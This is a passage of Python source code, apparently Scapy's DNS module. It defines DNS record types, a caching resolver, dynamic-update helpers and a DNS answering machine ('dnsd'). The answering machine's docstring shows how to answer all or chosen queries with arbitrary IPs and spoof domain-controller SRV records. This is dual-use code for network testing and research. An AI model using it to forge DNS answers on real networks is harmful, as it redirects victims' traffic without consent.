length_of=\"cpu\"),\n                   StrLenField(\"cpu\", \"\", length_from=lambda x: x.cpulen),\n                   FieldLenField(\"oslen\", None, fmt=\"!B\", length_of=\"os\"),\n                   StrLenField(\"os\", \"\", length_from=lambda x: x.oslen)]\n\n\nclass DNSRRMX(_DNSRRdummy):\n    name = \"DNS MX Resource Record\"\n    fields_desc = [DNSStrField(\"rrname\", \"\"),\n                   ShortEnumField(\"type\", 15, dnstypes),\n                   BitField(\"cacheflush\", 0, 1),  # mDNS RFC 6762\n                   BitEnumField(\"rclass\", 1, 15, dnsclasses),\n                   IntField(\"ttl\", 0),\n                   ShortField(\"rdlen\", None),\n                   ShortField(\"preference\", 0),\n                   DNSStrField(\"exchange\", \"\"),\n                   ]\n\n\nclass DNSRRSOA(_DNSRRdummy):\n    name = \"DNS SOA Resource Record\"\n    fields_desc = [DNSStrField(\"rrname\", \"\"),\n                   ShortEnumField(\"type\", 6, dnstypes),\n                   ShortEnumField(\"rclass\", 1, dnsclasses),\n                   IntField(\"ttl\", 0),\n                   ShortField(\"rdlen\", None),\n                   DNSStrField(\"mname\", \"\"),\n                   DNSStrField(\"rname\", \"\"),\n                   IntField(\"serial\", 0),\n                   IntField(\"refresh\", 0),\n                   IntField(\"retry\", 0),\n                   IntField(\"expire\", 0),\n                   IntField(\"minimum\", 0)\n                   ]\n\n\nclass DNSRRRSIG(_DNSRRdummy):\n    name = \"DNS RRSIG Resource Record\"\n    fields_desc = [DNSStrField(\"rrname\", \"\"),\n                   ShortEnumField(\"type\", 46, dnstypes),\n                   BitField(\"cacheflush\", 0, 1),  # mDNS RFC 6762\n                   BitEnumField(\"rclass\", 1, 15, dnsclasses),\n                   IntField(\"ttl\", 0),\n                   ShortField(\"rdlen\", None),\n                   ShortEnumField(\"typecovered\", 1, dnstypes),\n                   ByteEnumField(\"algorithm\", 5, dnssecalgotypes),\n                   ByteField(\"labels\", 0),\n                   IntField(\"originalttl\", 0),\n                   UTCTimeField(\"expiration\", 0),\n                   UTCTimeField(\"inception\", 0),\n                   ShortField(\"keytag\", 0),\n                   DNSStrField(\"signersname\", \"\"),\n                   StrField(\"signature\", \"\")\n                   ]\n\n\nclass DNSRRNSEC(_DNSRRdummy):\n    name = \"DNS NSEC Resource Record\"\n    fields_desc = [DNSStrField(\"rrname\", \"\"),\n                   ShortEnumField(\"type\", 47, dnstypes),\n                   BitField(\"cacheflush\", 0, 1),  # mDNS RFC 6762\n                   BitEnumField(\"rclass\", 1, 15, dnsclasses),\n                   IntField(\"ttl\", 0),\n                   ShortField(\"rdlen\", None),\n                   DNSStrField(\"nextname\", \"\"),\n                   RRlistField(\"typebitmaps\", [])\n                   ]\n\n\nclass DNSRRDNSKEY(_DNSRRdummy):\n    name = \"DNS DNSKEY Resource Record\"\n    fields_desc = [DNSStrField(\"rrname\", \"\"),\n                   ShortEnumField(\"type\", 48, dnstypes),\n                   BitField(\"cacheflush\", 0, 1),  # mDNS RFC 6762\n                   BitEnumField(\"rclass\", 1, 15, dnsclasses),\n                   IntField(\"ttl\", 0),\n                   ShortField(\"rdlen\", None),\n                   FlagsField(\"flags\", 256, 16, \"S???????Z???????\"),\n                   # S: Secure Entry Point\n                   # Z: Zone Key\n                   ByteField(\"protocol\", 3),\n                   ByteEnumField(\"algorithm\", 5, dnssecalgotypes),\n                   StrField(\"publickey\", \"\")\n                   ]\n\n\nclass DNSRRDS(_DNSRRdummy):\n    name = \"DNS DS Resource Record\"\n    fields_desc = [DNSStrField(\"rrname\", \"\"),\n                   ShortEnumField(\"type\", 43, dnstypes),\n                   BitField(\"cacheflush\", 0, 1),  # mDNS RFC 6762\n                   BitEnumField(\"rclass\", 1, 15, dnsclasses),\n                   IntField(\"ttl\", 0),\n                   ShortField(\"rdlen\", None),\n                   ShortField(\"keytag\", 0),\n                   ByteEnumField(\"algorithm\", 5, dnssecalgotypes),\n                   ByteEnumField(\"digesttype\", 5, dnssecdigesttypes),\n                   StrField(\"digest\", \"\")\n                   ]\n\n\n# RFC 5074 - DNSSEC Lookaside Validation (DLV)\nclass DNSRRDLV(DNSRRDS):\n    name = \"DNS DLV Resource Record\"\n\n    def __init__(self, *args, **kargs):\n        DNSRRDS.__init__(self, *args, **kargs)\n        if not kargs.get('type', 0):\n            self.type = 32769\n\n# RFC 5155 - DNS Security (DNSSEC) Hashed Authenticated Denial of Existence\n\n\nclass DNSRRNSEC3(_DNSRRdummy):\n    name = \"DNS NSEC3 Resource Record\"\n    fields_desc = [DNSStrField(\"rrname\", \"\"),\n                   ShortEnumField(\"type\", 50, dnstypes),\n                   BitField(\"cacheflush\", 0, 1),  # mDNS RFC 6762\n                   BitEnumField(\"rclass\", 1, 15, dnsclasses),\n                   IntField(\"ttl\", 0),\n                   ShortField(\"rdlen\", None),\n                   ByteField(\"hashalg\", 0),\n                   BitEnumField(\"flags\", 0, 8, {1: \"Opt-Out\"}),\n                   ShortField(\"iterations\", 0),\n                   FieldLenField(\"saltlength\", 0, fmt=\"!B\", length_of=\"salt\"),\n                   StrLenField(\"salt\", \"\", length_from=lambda x: x.saltlength),\n                   FieldLenField(\"hashlength\", 0, fmt=\"!B\", length_of=\"nexthashedownername\"),  # noqa: E501\n                   StrLenField(\"nexthashedownername\", \"\", length_from=lambda x: x.hashlength),  # noqa: E501\n                   RRlistField(\"typebitmaps\", [])\n                   ]\n\n\nclass DNSRRNSEC3PARAM(_DNSRRdummy):\n    name = \"DNS NSEC3PARAM Resource Record\"\n    fields_desc = [DNSStrField(\"rrname\", \"\"),\n                   ShortEnumField(\"type\", 51, dnstypes),\n                   BitField(\"cacheflush\", 0, 1),  # mDNS RFC 6762\n                   BitEnumField(\"rclass\", 1, 15, dnsclasses),\n                   IntField(\"ttl\", 0),\n                   ShortField(\"rdlen\", None),\n                   ByteField(\"hashalg\", 0),\n                   ByteField(\"flags\", 0),\n                   ShortField(\"iterations\", 0),\n                   FieldLenField(\"saltlength\", 0, fmt=\"!B\", length_of=\"salt\"),\n                   StrLenField(\"salt\", \"\", length_from=lambda pkt: pkt.saltlength)  # noqa: E501\n                   ]\n\n\n# RFC 9460 Service Binding and Parameter Specification via the DNS\n# https://www.rfc-editor.org/rfc/rfc9460.html\n\n\n# https://www.iana.org/assignments/dns-svcb/dns-svcb.xhtml\nsvc_param_keys = {\n    0: \"mandatory\",\n    1: \"alpn\",\n    2: \"no-default-alpn\",\n    3: \"port\",\n    4: \"ipv4hint\",\n    5: \"ech\",\n    6: \"ipv6hint\",\n    7: \"dohpath\",\n    8: \"ohttp\",\n}\n\n\nclass SvcParam(Packet):\n    name = \"SvcParam\"\n    fields_desc = [ShortEnumField(\"key\", 0, svc_param_keys),\n                   FieldLenField(\"len\", None, length_of=\"value\", fmt=\"H\"),\n                   MultipleTypeField(\n                       [\n                           # mandatory\n                           (FieldListField(\"value\", [],\n                                           ShortEnumField(\"\", 0, svc_param_keys),\n                                           length_from=lambda pkt: pkt.len),\n                               lambda pkt: pkt.key == 0),\n                           # alpn, no-default-alpn\n                           (DNSTextField(\"value\", [],\n                                         length_from=lambda pkt: pkt.len),\n                               lambda pkt: pkt.key in (1, 2)),\n                           # port\n                           (ShortField(\"value\", 0),\n                               lambda pkt: pkt.key == 3),\n                           # ipv4hint\n                           (FieldListField(\"value\", [],\n                                           IPField(\"\", \"0.0.0.0\"),\n                                           length_from=lambda pkt: pkt.len),\n                               lambda pkt: pkt.key == 4),\n                           # ipv6hint\n                           (FieldListField(\"value\", [],\n                                           IP6Field(\"\", \"::\"),\n                                           length_from=lambda pkt: pkt.len),\n                               lambda pkt: pkt.key == 6),\n                       ],\n                       StrLenField(\"value\", \"\",\n                                   length_from=lambda pkt:pkt.len))]\n\n    def extract_padding(self, p):\n        return \"\", p\n\n\nclass DNSRRSVCB(_DNSRRdummy):\n    name = \"DNS SVCB Resource Record\"\n    fields_desc = [DNSStrField(\"rrname\", \"\"),\n                   ShortEnumField(\"type\", 64, dnstypes),\n                   BitField(\"cacheflush\", 0, 1),  # mDNS RFC 6762\n                   BitEnumField(\"rclass\", 1, 15, dnsclasses),\n                   IntField(\"ttl\", 0),\n                   ShortField(\"rdlen\", None),\n                   ShortField(\"svc_priority\", 0),\n                   DNSStrField(\"target_name\", \"\"),\n                   PacketListField(\"svc_params\", [], SvcParam)]\n\n\nclass DNSRRHTTPS(_DNSRRdummy):\n    name = \"DNS HTTPS Resource Record\"\n    fields_desc = [DNSStrField(\"rrname\", \"\"),\n                   ShortEnumField(\"type\", 65, dnstypes)\n                   ] + DNSRRSVCB.fields_desc[2:]\n\n\n# RFC 2782 - A DNS RR for specifying the location of services (DNS SRV)\n\n\nclass DNSRRSRV(_DNSRRdummy):\n    name = \"DNS SRV Resource Record\"\n    fields_desc = [DNSStrField(\"rrname\", \"\"),\n                   ShortEnumField(\"type\", 33, dnstypes),\n                   BitField(\"cacheflush\", 0, 1),  # mDNS RFC 6762\n                   BitEnumField(\"rclass\", 1, 15, dnsclasses),\n                   IntField(\"ttl\", 0),\n                   ShortField(\"rdlen\", None),\n                   ShortField(\"priority\", 0),\n                   ShortField(\"weight\", 0),\n                   ShortField(\"port\", 0),\n                   DNSStrField(\"target\", \"\"), ]\n\n\n# RFC 2845 - Secret Key Transaction Authentication for DNS (TSIG)\ntsig_algo_sizes = {\"HMAC-MD5.SIG-ALG.REG.INT\": 16,\n                   \"hmac-sha1\": 20}\n\n\nclass TimeSignedField(Field[int, bytes]):\n    def __init__(self, name, default):\n        Field.__init__(self, name, default, fmt=\"6s\")\n\n    def _convert_seconds(self, packed_seconds):\n        \"\"\"Unpack the internal representation.\"\"\"\n        seconds = struct.unpack(\"!H\", packed_seconds[:2])[0]\n        seconds += struct.unpack(\"!I\", packed_seconds[2:])[0]\n        return seconds\n\n    def i2m(self, pkt, seconds):\n        \"\"\"Convert the number of seconds since 1-Jan-70 UTC to the packed\n           representation.\"\"\"\n\n        if seconds is None:\n            seconds = 0\n\n        tmp_short = (seconds >> 32) & 0xFFFF\n        tmp_int = seconds & 0xFFFFFFFF\n\n        return struct.pack(\"!HI\", tmp_short, tmp_int)\n\n    def m2i(self, pkt, packed_seconds):\n        \"\"\"Convert the internal representation to the number of seconds\n           since 1-Jan-70 UTC.\"\"\"\n\n        if packed_seconds is None:\n            return None\n\n        return self._convert_seconds(packed_seconds)\n\n    def i2repr(self, pkt, packed_seconds):\n        \"\"\"Convert the internal representation to a nice one using the RFC\n           format.\"\"\"\n        time_struct = time.gmtime(packed_seconds)\n        return time.strftime(\"%a %b %d %H:%M:%S %Y\", time_struct)\n\n\nclass DNSRRTSIG(_DNSRRdummy):\n    name = \"DNS TSIG Resource Record\"\n    fields_desc = [DNSStrField(\"rrname\", \"\"),\n                   ShortEnumField(\"type\", 250, dnstypes),\n                   ShortEnumField(\"rclass\", 1, dnsclasses),\n                   IntField(\"ttl\", 0),\n                   ShortField(\"rdlen\", None),\n                   DNSStrField(\"algo_name\", \"hmac-sha1\"),\n                   TimeSignedField(\"time_signed\", 0),\n                   ShortField(\"fudge\", 0),\n                   FieldLenField(\"mac_len\", 20, fmt=\"!H\", length_of=\"mac_data\"),  # noqa: E501\n                   StrLenField(\"mac_data\", \"\", length_from=lambda pkt: pkt.mac_len),  # noqa: E501\n                   ShortField(\"original_id\", 0),\n                   ShortField(\"error\", 0),\n                   FieldLenField(\"other_len\", 0, fmt=\"!H\", length_of=\"other_data\"),  # noqa: E501\n                   StrLenField(\"other_data\", \"\", length_from=lambda pkt: pkt.other_len)  # noqa: E501\n                   ]\n\n\nclass DNSRRNAPTR(_DNSRRdummy):\n    name = \"DNS NAPTR Resource Record\"\n    fields_desc = [DNSStrField(\"rrname\", \"\"),\n                   ShortEnumField(\"type\", 35, dnstypes),\n                   BitField(\"cacheflush\", 0, 1),  # mDNS RFC 6762\n                   BitEnumField(\"rclass\", 1, 15, dnsclasses),\n                   IntField(\"ttl\", 0),\n                   ShortField(\"rdlen\", None),\n                   ShortField(\"order\", 0),\n                   ShortField(\"preference\", 0),\n                   FieldLenField(\"flags_len\", None, fmt=\"!B\", length_of=\"flags\"),\n                   StrLenField(\"flags\", \"\", length_from=lambda pkt: pkt.flags_len),\n                   FieldLenField(\"services_len\", None, fmt=\"!B\", length_of=\"services\"),\n                   StrLenField(\"services\", \"\",\n                               length_from=lambda pkt: pkt.services_len),\n                   FieldLenField(\"regexp_len\", None, fmt=\"!B\", length_of=\"regexp\"),\n                   StrLenField(\"regexp\", \"\", length_from=lambda pkt: pkt.regexp_len),\n                   DNSStrField(\"replacement\", \"\"),\n                   ]\n\n\nDNSRR_DISPATCHER = {\n    6: DNSRRSOA,         # RFC 1035\n    13: DNSRRHINFO,      # RFC 1035\n    15: DNSRRMX,         # RFC 1035\n    33: DNSRRSRV,        # RFC 2782\n    35: DNSRRNAPTR,      # RFC 2915\n    41: DNSRROPT,        # RFC 1671\n    43: DNSRRDS,         # RFC 4034\n    46: DNSRRRSIG,       # RFC 4034\n    47: DNSRRNSEC,       # RFC 4034\n    48: DNSRRDNSKEY,     # RFC 4034\n    50: DNSRRNSEC3,      # RFC 5155\n    51: DNSRRNSEC3PARAM,  # RFC 5155\n    64: DNSRRSVCB,       # RFC 9460\n    65: DNSRRHTTPS,      # RFC 9460\n    250: DNSRRTSIG,      # RFC 2845\n    32769: DNSRRDLV,     # RFC 4431\n}\n\n\nclass DNSRR(Packet):\n    name = \"DNS Resource Record\"\n    show_indent = 0\n    fields_desc = [DNSStrField(\"rrname\", \"\"),\n                   ShortEnumField(\"type\", 1, dnstypes),\n                   BitField(\"cacheflush\", 0, 1),  # mDNS RFC 6762\n                   BitEnumField(\"rclass\", 1, 15, dnsclasses),\n                   IntField(\"ttl\", 0),\n                   FieldLenField(\"rdlen\", None, length_of=\"rdata\", fmt=\"H\"),\n                   MultipleTypeField(\n                       [\n                           # A\n                           (IPField(\"rdata\", \"0.0.0.0\"),\n                               lambda pkt: pkt.type == 1),\n                           # AAAA\n                           (IP6Field(\"rdata\", \"::\"),\n                               lambda pkt: pkt.type == 28),\n                           # NS, MD, MF, CNAME, PTR, DNAME\n                           (DNSStrField(\"rdata\", \"\",\n                                        length_from=lambda pkt: pkt.rdlen),\n                               lambda pkt: pkt.type in [2, 3, 4, 5, 12, 39]),\n                           # TEXT\n                           (DNSTextField(\"rdata\", [\"\"],\n                                         length_from=lambda pkt: pkt.rdlen),\n                               lambda pkt: pkt.type == 16),\n                       ],\n                       StrLenField(\"rdata\", \"\",\n                                   length_from=lambda pkt:pkt.rdlen)\n    )]\n\n    def default_payload_class(self, payload):\n        return conf.padding_layer\n\n\ndef _DNSRR(s, **kwargs):\n    \"\"\"\n    DNSRR dispatcher func\n    \"\"\"\n    if s:\n        # Try to find the type of the RR using the dispatcher\n        _, remain = dns_get_str(s, _ignore_compression=True)\n        cls = DNSRR_DISPATCHER.get(\n            struct.unpack(\"!H\", remain[:2])[0],\n            DNSRR,\n        )\n        rrlen = (\n            len(s) - len(remain) +  # rrname len\n            10 +\n            struct.unpack(\"!H\", remain[8:10])[0]\n        )\n        pkt = cls(s[:rrlen], **kwargs) / conf.padding_layer(s[rrlen:])\n        # drop rdlen because if rdata was compressed, it will break everything\n        # when rebuilding\n        del pkt.fields[\"rdlen\"]\n        return pkt\n    return None\n\n\nclass DNSQR(Packet):\n    name = \"DNS Question Record\"\n    show_indent = 0\n    fields_desc = [DNSStrField(\"qname\", \"www.example.com\"),\n                   ShortEnumField(\"qtype\", 1, dnsqtypes),\n                   BitField(\"unicastresponse\", 0, 1),  # mDNS RFC 6762\n                   BitEnumField(\"qclass\", 1, 15, dnsclasses)]\n\n    def default_payload_class(self, payload):\n        return conf.padding_layer\n\n\nclass _DNSPacketListField(PacketListField):\n    # A normal PacketListField with backward-compatible hacks\n    def any2i(self, pkt, x):\n        # type: (Optional[Packet], List[Any]) -> List[Any]\n        if x is None:\n            warnings.warn(\n                (\"The DNS fields 'qd', 'an', 'ns' and 'ar' are now \"\n                 \"PacketListField(s) ! \"\n                 \"Setting a null default should be [] instead of None\"),\n                DeprecationWarning\n            )\n            x = []\n        return super(_DNSPacketListField, self).any2i(pkt, x)\n\n    def i2h(self, pkt, x):\n        # type: (Optional[Packet], List[Packet]) -> Any\n        class _list(list):\n            \"\"\"\n            Fake list object to provide compatibility with older DNS fields\n            \"\"\"\n            def __getattr__(self, attr):\n                try:\n                    ret = getattr(self[0], attr)\n                    warnings.warn(\n                        (\"The DNS fields 'qd', 'an', 'ns' and 'ar' are now \"\n                         \"PacketListField(s) ! \"\n                         \"To access the first element, use pkt.an[0] instead of \"\n                         \"pkt.an\"),\n                        DeprecationWarning\n                    )\n                    return ret\n                except AttributeError:\n                    raise\n        return _list(x)\n\n\nclass DNS(DNSCompressedPacket):\n    name = \"DNS\"\n    FORCE_TCP = False\n    fields_desc = [\n        ConditionalField(ShortField(\"length\", None),\n                         lambda p: p.FORCE_TCP or isinstance(p.underlayer, TCP)),\n        ShortField(\"id\", 0),\n        BitField(\"qr\", 0, 1),\n        BitEnumField(\"opcode\", 0, 4, {0: \"QUERY\", 1: \"IQUERY\", 2: \"STATUS\"}),\n        BitField(\"aa\", 0, 1),\n        BitField(\"tc\", 0, 1),\n        BitField(\"rd\", 1, 1),\n        BitField(\"ra\", 0, 1),\n        BitField(\"z\", 0, 1),\n        # AD and CD bits are defined in RFC 2535\n        BitField(\"ad\", 0, 1),  # Authentic Data\n        BitField(\"cd\", 0, 1),  # Checking Disabled\n        BitEnumField(\"rcode\", 0, 4, {0: \"ok\", 1: \"format-error\",\n                                     2: \"server-failure\", 3: \"name-error\",\n                                     4: \"not-implemented\", 5: \"refused\"}),\n        FieldLenField(\"qdcount\", None, count_of=\"qd\"),\n        FieldLenField(\"ancount\", None, count_of=\"an\"),\n        FieldLenField(\"nscount\", None, count_of=\"ns\"),\n        FieldLenField(\"arcount\", None, count_of=\"ar\"),\n        _DNSPacketListField(\"qd\", [DNSQR()], DNSQR, count_from=lambda pkt: pkt.qdcount),\n        _DNSPacketListField(\"an\", [], _DNSRR, count_from=lambda pkt: pkt.ancount),\n        _DNSPacketListField(\"ns\", [], _DNSRR, count_from=lambda pkt: pkt.nscount),\n        _DNSPacketListField(\"ar\", [], _DNSRR, count_from=lambda pkt: pkt.arcount),\n    ]\n\n    def get_full(self):\n        # Required for DNSCompressedPacket\n        if isinstance(self.underlayer, TCP) or self.FORCE_TCP:\n            return self.original[2:]\n        else:\n            return self.original\n\n    def answers(self, other):\n        return (isinstance(other, DNS) and\n                self.id == other.id and\n                self.qr == 1 and\n                other.qr == 0)\n\n    def mysummary(self):\n        name = \"\"\n        if self.qr:\n            type = \"Ans\"\n            if self.an and isinstance(self.an[0], DNSRR):\n                name = ' %s' % self.an[0].rdata\n            elif self.rcode != 0:\n                name = self.sprintf(' %rcode%')\n        else:\n            type = \"Qry\"\n            if self.qd and isinstance(self.qd[0], DNSQR):\n                name = ' %s' % self.qd[0].qname\n        return \"%sDNS %s%s\" % (\n            \"m\"\n            if isinstance(self.underlayer, UDP) and self.underlayer.dport == 5353\n            else \"\",\n            type,\n            name,\n        )\n\n    def post_build(self, pkt, pay):\n        if (\n            (isinstance(self.underlayer, TCP) or self.FORCE_TCP) and\n            self.length is None\n        ):\n            pkt = struct.pack(\"!H\", len(pkt) - 2) + pkt[2:]\n        return pkt + pay\n\n    def compress(self):\n        \"\"\"Return the compressed DNS packet (using `dns_compress()`)\"\"\"\n        return dns_compress(self)\n\n    def pre_dissect(self, s):\n        \"\"\"\n        Check that a valid DNS over TCP message can be decoded\n        \"\"\"\n        if isinstance(self.underlayer, TCP):\n\n            # Compute the length of the DNS packet\n            if len(s) >= 2:\n                dns_len = struct.unpack(\"!H\", s[:2])[0]\n            else:\n                message = \"Malformed DNS message: too small!\"\n                log_runtime.info(message)\n                raise Scapy_Exception(message)\n\n            # Check if the length is valid\n            if dns_len < 14 or len(s) < dns_len:\n                message = \"Malformed DNS message: invalid length!\"\n                log_runtime.info(message)\n                raise Scapy_Exception(message)\n\n        return s\n\n\nclass DNSTCP(DNS):\n    \"\"\"\n    A DNS packet that is always under TCP\n    \"\"\"\n    FORCE_TCP = True\n    match_subclass = True\n\n\nbind_layers(UDP, DNS, dport=5353)\nbind_layers(UDP, DNS, sport=5353)\nbind_layers(UDP, DNS, dport=53)\nbind_layers(UDP, DNS, sport=53)\nDestIPField.bind_addr(UDP, \"224.0.0.251\", dport=5353)\nif conf.ipv6_enabled:\n    from scapy.layers.inet6 import DestIP6Field\n    DestIP6Field.bind_addr(UDP, \"ff02::fb\", dport=5353)\nbind_layers(TCP, DNS, dport=53)\nbind_layers(TCP, DNS, sport=53)\n\n# Nameserver config\nconf.nameservers = read_nameservers()\n_dns_cache = conf.netcache.new_cache(\"dns_cache\", 300)\n\n\n@conf.commands.register\ndef dns_resolve(qname, qtype=\"A\", raw=False, tcp=False, verbose=1, timeout=3, **kwargs):\n    \"\"\"\n    Perform a simple DNS resolution using conf.nameservers with caching\n\n    :param qname: the name to query\n    :param qtype: the type to query (default A)\n    :param raw: return the whole DNS packet (default False)\n    :param tcp: whether to use directly TCP instead of UDP. If truncated is received,\n        UDP automatically retries in TCP. (default: False)\n    :param verbose: show verbose errors\n    :param timeout: seconds until timeout (per server)\n    :raise TimeoutError: if no DNS servers were reached in time.\n    \"\"\"\n    # Unify types (for caching)\n    qtype = DNSQR.qtype.any2i_one(None, qtype)\n    qname = DNSQR.qname.any2i(None, qname)\n    # Check cache\n    cache_ident = b\";\".join(\n        [qname, struct.pack(\"!B\", qtype)] +\n        ([b\"raw\"] if raw else [])\n    )\n    result = _dns_cache.get(cache_ident)\n    if result:\n        return result\n\n    kwargs.setdefault(\"timeout\", timeout)\n    kwargs.setdefault(\"verbose\", 0)  # hide sr1() output\n    res = None\n    for nameserver in conf.nameservers:\n        # Try all nameservers\n        try:\n            # Spawn a socket, connect to the nameserver on port 53\n            if tcp:\n                cls = DNSTCP\n                sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n            else:\n                cls = DNS\n                sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n            sock.settimeout(kwargs[\"timeout\"])\n            sock.connect((nameserver, 53))\n            # Connected. Wrap it with DNS\n            sock = StreamSocket(sock, cls)\n            # I/O\n            res = sock.sr1(\n                cls(qd=[DNSQR(qname=qname, qtype=qtype)], id=RandShort()),\n                **kwargs,\n            )\n        except IOError as ex:\n            if verbose:\n                log_runtime.warning(str(ex))\n            continue\n        finally:\n            sock.close()\n        if res:\n            # We have a response ! Check for failure\n            if res[DNS].tc == 1:  # truncated !\n                if not tcp:\n                    # Retry using TCP\n                    return dns_resolve(\n                        qname=qname,\n                        qtype=qtype,\n                        raw=raw,\n                        tcp=True,\n                        **kwargs,\n                    )\n                elif verbose:\n                    log_runtime.info(\"DNS answer is truncated !\")\n\n            if res[DNS].rcode == 2:  # server failure\n                res = None\n                if verbose:\n                    log_runtime.info(\n                        \"DNS: %s answered with failure for %s\" % (\n                            nameserver,\n                            qname,\n                        )\n                    )\n            else:\n                break\n    if res is not None:\n        if raw:\n            # Raw\n            result = res\n        else:\n            # Find answers\n            result = [\n                x\n                for x in itertools.chain(res.an, res.ns, res.ar)\n                if x.type == qtype\n            ]\n        if result:\n            # Cache it\n            _dns_cache[cache_ident] = result\n        return result\n    else:\n        raise TimeoutError\n\n\n@conf.commands.register\ndef dyndns_add(nameserver, name, rdata, type=\"A\", ttl=10):\n    \"\"\"Send a DNS add message to a nameserver for \"name\" to have a new \"rdata\"\ndyndns_add(nameserver, name, rdata, type=\"A\", ttl=10) -> result code (0=ok)\n\nexample: dyndns_add(\"ns1.toto.com\", \"dyn.toto.com\", \"127.0.0.1\")\nRFC2136\n\"\"\"\n    zone = name[name.find(\".\") + 1:]\n    r = sr1(IP(dst=nameserver) / UDP() / DNS(opcode=5,\n                                             qd=[DNSQR(qname=zone, qtype=\"SOA\")],  # noqa: E501\n                                             ns=[DNSRR(rrname=name, type=\"A\",\n                                                       ttl=ttl, rdata=rdata)]),\n            verbose=0, timeout=5)\n    if r and r.haslayer(DNS):\n        return r.getlayer(DNS).rcode\n    else:\n        return -1\n\n\n@conf.commands.register\ndef dyndns_del(nameserver, name, type=\"ALL\", ttl=10):\n    \"\"\"Send a DNS delete message to a nameserver for \"name\"\ndyndns_del(nameserver, name, type=\"ANY\", ttl=10) -> result code (0=ok)\n\nexample: dyndns_del(\"ns1.toto.com\", \"dyn.toto.com\")\nRFC2136\n\"\"\"\n    zone = name[name.find(\".\") + 1:]\n    r = sr1(IP(dst=nameserver) / UDP() / DNS(opcode=5,\n                                             qd=[DNSQR(qname=zone, qtype=\"SOA\")],  # noqa: E501\n                                             ns=[DNSRR(rrname=name, type=type,\n                                                       rclass=\"ANY\", ttl=0, rdata=\"\")]),  # noqa: E501\n            verbose=0, timeout=5)\n    if r and r.haslayer(DNS):\n        return r.getlayer(DNS).rcode\n    else:\n        return -1\n\n\nclass DNS_am(AnsweringMachine):\n    function_name = \"dnsd\"\n    filter = \"udp port 53\"\n    cls = DNS  # We also use this automaton for llmnrd / mdnsd\n\n    def parse_options(self, joker=None,\n                      match=None,\n                      srvmatch=None,\n                      joker6=False,\n                      send_error=False,\n                      relay=False,\n                      from_ip=True,\n                      from_ip6=False,\n                      src_ip=None,\n                      src_ip6=None,\n                      ttl=10,\n                      jokerarpa=False):\n        \"\"\"\n        Simple DNS answering machine.\n\n        :param joker: default IPv4 for unresolved domains.\n                      Set to False to disable, None to mirror the interface's IP.\n                      Defaults to None, unless 'match' is used, then it defaults to\n                      False.\n        :param joker6: default IPv6 for unresolved domains.\n                       Set to False to disable, None to mirror the interface's IPv6.\n                       Defaults to False.\n        :param match: queries to match.\n                      This can be a dictionary of {name: val} where name is a string\n                      representing a domain name (A, AAAA) and val is a tuple of 2\n                      elements, each representing an IP or a list of IPs. If val is\n                      a single element, (A, None) is assumed.\n                      This can also be a list or names, in which case joker(6) are\n                      used as a response.\n        :param jokerarpa: answer for .in-addr.arpa PTR requests. (Default: False)\n        :param relay: relay unresolved domains to conf.nameservers (Default: False).\n        :param send_error: send an error message when this server can't answer\n                           (Default: False)\n        :param srvmatch: a dictionary of {name: (port, target)} used for SRV\n        :param from_ip: an source IP to filter. Can contain a netmask. True for all,\n                        False for none. Default True\n        :param from_ip6: an source IPv6 to filter. Can contain a netmask. True for all,\n                        False for none. Default False\n        :param ttl: the DNS time to live (in seconds)\n        :param src_ip: override the source IP\n        :param src_ip6:\n\n        Examples:\n\n        - Answer all 'A' and 'AAAA' requests::\n\n            $ sudo iptables -I OUTPUT -p icmp --icmp-type 3/3 -j DROP\n            >>> dnsd(joker=\"192.168.0.2\", joker6=\"fe80::260:8ff:fe52:f9d8\",\n            ...      iface=\"eth0\")\n\n        - Answer only 'A' query for google.com with 192.168.0.2::\n\n            >>> dnsd(match={\"google.com\": \"192.168.0.2\"}, iface=\"eth0\")\n\n        - Answer DNS for a Windows domain controller ('SRV', 'A' and 'AAAA')::\n\n            >>> dnsd(\n            ...     srvmatch={\n            ...         \"_ldap._tcp.dc._msdcs.DOMAIN.LOCAL.\": (389,\n            ...                                                \"srv1.domain.local\"),\n            ...     },\n            ...     match={\"src1.domain.local\": (\"192.168.0.102\",\n            ...                                  \"fe80::260:8ff:fe52:f9d8\")},\n            ... )\n\n        - Relay all queries to another DNS server, except some::\n\n            >>> conf.nameservers = [\"1.1.1.1\"]  # server to relay to\n            >>> dnsd(\n            ...     match={\"test.com\": \"1.1.1.1\"},\n            ...     relay=True,\n            ... )\n        \"\"\"\n        from scapy.layers.inet6 import Net6\n\n        self.mDNS = isinstance(self, mDNS_am)\n        self.llmnr = self.cls != DNS\n\n        # Add some checks (to help)\n        if not isinstance(joker, (str, bool)) and joker is not None:\n            raise ValueError(\"Bad 'joker': should be an IPv4 (str) or False !\")\n        if not isinstance(joker6, (str, bool)) and joker6 is not None:\n            raise ValueError(\"Bad 'joker6': should be an IPv6 (str) or False !\")\n        if not isinstance(jokerarpa, (str, bool)):\n            raise ValueError(\"Bad 'jokerarpa': should be a hostname or False !\")\n        if not isinstance(from_ip, (str, Net, bool)):\n            raise ValueError(\"Bad 'from_ip': should be an IPv4 (str), Net or False !\")\n        if not isinstance(from_ip6, (str, Net6, bool)):\n            raise ValueError(\"Bad 'from_ip6': should be an IPv6 (str), Net or False !\")\n        if self.mDNS and src_ip:\n            raise ValueError(\"Cannot use 'src_ip' in mDNS !\")\n        if self.mDNS and src_ip6:\n            raise ValueError(\"Cannot use 'src_ip6' in mDNS !\")\n\n        if joker is None and match is not None:\n            joker = False\n        self.joker = joker\n        self.joker6 = joker6\n        self.jokerarpa = jokerarpa\n\n        def normv(v):\n            if isinstance(v, (tuple, list)) and len(v) == 2:\n                return tuple(v)\n            elif isinstance(v, str):\n                return (v, joker6)\n            else:\n                raise ValueError(\"Bad match value: '%s'\" % repr(v))\n\n        def normk(k):\n            k = bytes_encode(k).lower()\n            if not k.endswith(b\".\"):\n                k += b\".\"\n            return k\n\n        self.match = collections.defaultdict(lambda: (joker, joker6))\n        if match:\n            if isinstance(match, (list, set)):\n                self.match.update({normk(k): (None, None) for k in match})\n            else:\n                self.match.update({normk(k): normv(v) for k, v in match.items()})\n        if srvmatch is None:\n            self.srvmatch = {}\n        else:\n            self.srvmatch = {normk(k): normv(v) for k, v in srvmatch.items()}\n\n        self.send_error = send_error\n        self.relay = relay\n        if isinstance(from_ip, str):\n            self.from_ip = Net(from_ip)\n        else:\n            self.from_ip = from_ip\n        if isinstance(from_ip6, str):\n            self.from_ip6 = Net6(from_ip6)\n        else:\n            self.from_ip6 = from_ip6\n        self.src_ip = src_ip\n        self.src_ip6 = src_ip6\n        self.ttl = ttl\n\n    def 